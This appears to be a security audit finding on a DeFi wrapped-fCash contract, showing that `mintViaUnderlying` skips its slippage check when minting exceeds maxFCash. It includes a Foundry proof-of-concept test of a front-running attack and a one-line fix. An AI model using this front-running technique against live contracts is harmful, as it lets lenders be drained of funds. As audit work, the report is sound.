Lender transactions can be front-run, leading to lost funds
Users can mint wfCash tokens via `mintViaUnderlying` by passing a variable `minImpliedRate` to guard against trade slippage. If the market interest is lower than expected by the user, the transaction will revert due to slippage protection. However, if the user mints a share larger than maxFCash, the `minImpliedRate` check is not performed.\\n```\\n    function mintViaUnderlying(\\n        uint256 depositAmountExternal,\\n        uint88 fCashAmount,\\n        address receiver,\\n        uint32 minImpliedRate//@audit when lendAmount bigger than maxFCash lack of minRate protect.\\n    ) external override {\\n        (/* */, uint256 maxFCash) = getTotalFCashAvailable();\\n        _mintInternal(depositAmountExternal, fCashAmount, receiver, minImpliedRate, maxFCash);\\n    }\\n```\\n\\n```\\n        if (maxFCash < fCashAmount) {\\n            // NOTE: lending at zero\\n            uint256 fCashAmountExternal = fCashAmount * precision / uint256(Constants.INTERNAL_TOKEN_PRECISION);//@audit-info fCashAmount * (underlyingTokenDecimals) / 1e8\\n            require(fCashAmountExternal <= depositAmountExternal);\\n\\n            // NOTE: Residual (depositAmountExternal - fCashAmountExternal) will be transferred\\n            // back to the account\\n            NotionalV2.depositUnderlyingToken{value: msgValue}(address(this), currencyId, fCashAmountExternal);//@audit check this.\\n        } \\n```\\n\\nImagine the following scenario:\\nlender deposit Underlying token to `mint` some shares and set a `minImpliedRate` to protect the trsanction\\nalice front-run her transaction invoke `mint` to `mint` some share\\nthe shares of lender `mint` now is bigger than `maxFCash`\\nnow the lender `lending at zero`\\n```\\n    function testDepositViaUnderlying() public {\\n        address alice = makeAddr("alice");\\n        deal(address(asset), LENDER, 8800 * precision, true);\\n        deal(address(asset), alice, 5000 * precision, true);\\n\\n        //alice deal.\\n        vm.stopPrank();\\n        vm.startPrank(alice);\\n        asset.approve(address(w), type(uint256).max);\\n        \\n        //==============================LENDER START=============================//\\n        vm.stopPrank();\\n        vm.startPrank(LENDER);\\n        asset.approve(address(w), type(uint256).max);\\n        //user DAI balance before:\\n        assertEq(asset.balanceOf(LENDER), 8800e18);\\n\\n        (/* */, uint256 maxFCash) = w.getTotalFCashAvailable();\\n        console2.log("current maxFCash:",maxFCash);\\n\\n        //LENDER mintViaUnderlying will revert due to slippage.\\n        uint32 minImpliedRate = 0.15e9;\\n        vm.expectRevert("Trade failed, slippage");\\n        w.mintViaUnderlying(5000e18,5000e8,LENDER,minImpliedRate);\\n        //==============================LENDER END=============================//\\n\\n        //======================alice frontrun to mint some shares.============//\\n        vm.stopPrank();\\n        vm.startPrank(alice);\\n        w.mint(5000e8,alice);\\n\\n        //==========================LENDER TX =================================//\\n        vm.stopPrank();\\n        vm.startPrank(LENDER);\\n        asset.approve(address(w), type(uint256).max);\\n        //user DAI balance before:\\n        assertEq(asset.balanceOf(LENDER), 8800e18);\\n\\n        //LENDER mintViaUnderlying will success.\\n        w.mintViaUnderlying(5000e18,5000e8,LENDER,minImpliedRate);\\n\\n        console2.log("lender mint token:",w.balanceOf(LENDER));\\n        console2.log("lender cost DAI:",8800e18 - asset.balanceOf(LENDER));\\n    }\\n```\\n\\nFrom the above test, we can observe that if `maxFCasha` is greater than `5000e8`, the lender's transaction will be reverted due to "Trade failed, slippage." Subsequently, if Alice front-runs by invoking `mint` to create some shares before the lender, the lender's transaction will succeed. Therefore, the lender's `minImpliedRate` check will be bypassed, leading to a loss of funds for the lender.
add a check inside `_mintInternal`\\n```\\n        if (maxFCash < fCashAmount) {\\n// Add the line below\\n          require(minImpliedRate ==0,"Trade failed, slippage");            \\n            // NOTE: lending at zero\\n            uint256 fCashAmountExternal = fCashAmount * precision / uint256(Constants.INTERNAL_TOKEN_PRECISION);//@audit-info fCashAmount * (underlyingTokenDecimals) / 1e8\\n            require(fCashAmountExternal <= depositAmountExternal);\\n\\n            // NOTE: Residual (depositAmountExternal - fCashAmountExternal) will be transferred\\n            // back to the account\\n            NotionalV2.depositUnderlyingToken{value: msgValue}(address(this), currencyId, fCashAmountExternal);//@audit check this.\\n        }\\n```\\n
lender lost of funds
```\\n    function mintViaUnderlying(\\n        uint256 depositAmountExternal,\\n        uint88 fCashAmount,\\n        address receiver,\\n        uint32 minImpliedRate//@audit when lendAmount bigger than maxFCash lack of minRate protect.\\n    ) external override {\\n        (/* */, uint256 maxFCash) = getTotalFCashAvailable();\\n        _mintInternal(depositAmountExternal, fCashAmount, receiver, minImpliedRate, maxFCash);\\n    }\\n```\\n